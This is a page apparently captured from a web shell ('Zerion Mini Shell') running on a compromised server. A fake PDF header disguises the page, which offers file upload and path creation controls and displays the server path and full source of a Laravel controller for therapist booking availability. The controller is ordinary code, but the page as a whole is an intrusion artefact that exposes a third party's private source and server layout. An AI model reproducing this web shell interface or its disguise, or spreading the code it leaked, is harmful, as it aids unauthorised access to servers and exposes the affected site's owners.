%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Availability/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Availability/GetAvailability.php

<?php

namespace App\Http\Controllers\Availability;

use DB;
use Carbon\Carbon;
use App\Models\Therapist;
use Illuminate\Http\Request;
use App\Http\Resources\TherapistResource;
use App\Repositories\AvailabilityRepository;
use App\Http\Controllers\Controller;
use Illuminate\Database\Eloquent\Builder;

class GetAvailability extends Controller
{
    /**
     * Get the therapists availability
     *
     * @param  Request $request
     * @return \Illuminate\Http\Response
     */
    public function __invoke($id, Request $request)
    {
        $timeBuffer = auth()->check() && auth()->user()->hasRole('therapist') ? Carbon::now() : Carbon::now()->addHour(48);

        $therapist = Therapist::where('id', $id)
            ->with('availability')
            ->whereHas('availability', function (Builder $query) use($timeBuffer) {
                $query->where('available_from', '>=', $timeBuffer);
            })
            ->active()
            ->firstOrFail();

        if(is_array($request->get('dates'))) {
            $availability = $therapist->availability()
                ->orderBy('available_from')
                ->whereIn(DB::raw("DATE(available_from)"), $request->get('dates'))
                ->where('available_from', '>=', $timeBuffer)
                ->get();
        } else {
            $availability = $therapist->availability()
                ->orderBy('available_from')
                ->whereDate('available_from', '=', Carbon::parse($request->get('dates'))->format('Y-m-d'))
                ->where('available_from', '>=', $timeBuffer)
                ->get();
        }

        $available_dates = $therapist->availability()
            ->with('address')
            ->orderBy('available_from', 'asc')
            ->where('available_from', '>=', $timeBuffer)
            ->pluck('available_from')
            ->map(function ($item, $key) {
                return $item->format('Y-m-d');
            });

        return response()->json([
            'available_dates' => $available_dates,
            'availability' => $availability->groupBy(function ($item) {
                return $item->available_from->format('Y-m-d');
            })->transform(function ($item, $key) {
                return $item->transform(function ($item, $key) {
                    $slot_increment = \App\Models\Availability::INCREMENTS[$item->increment_id];
                    $bookings = $item->bookings()->notCancelled()->pluck('start_date')->toArray();
                    
                    return AvailabilityRepository::getTimeSlots($item, $slot_increment, $bookings);
                })->flatten(1);
            }),
            'selected_slots' => $availability->groupBy(function ($item) {
                return $item->available_from->format('Y-m-d');
            })->transform(function ($item, $key) {
                return $item[] = [
                    'slot' => null,
                    'session_id' => null,
                    'product_id' => null,
                    'address_id' => null,
                    'session_types' => null
                ];
            })
        ]);
    }
}

Zerion Mini Shell 1.0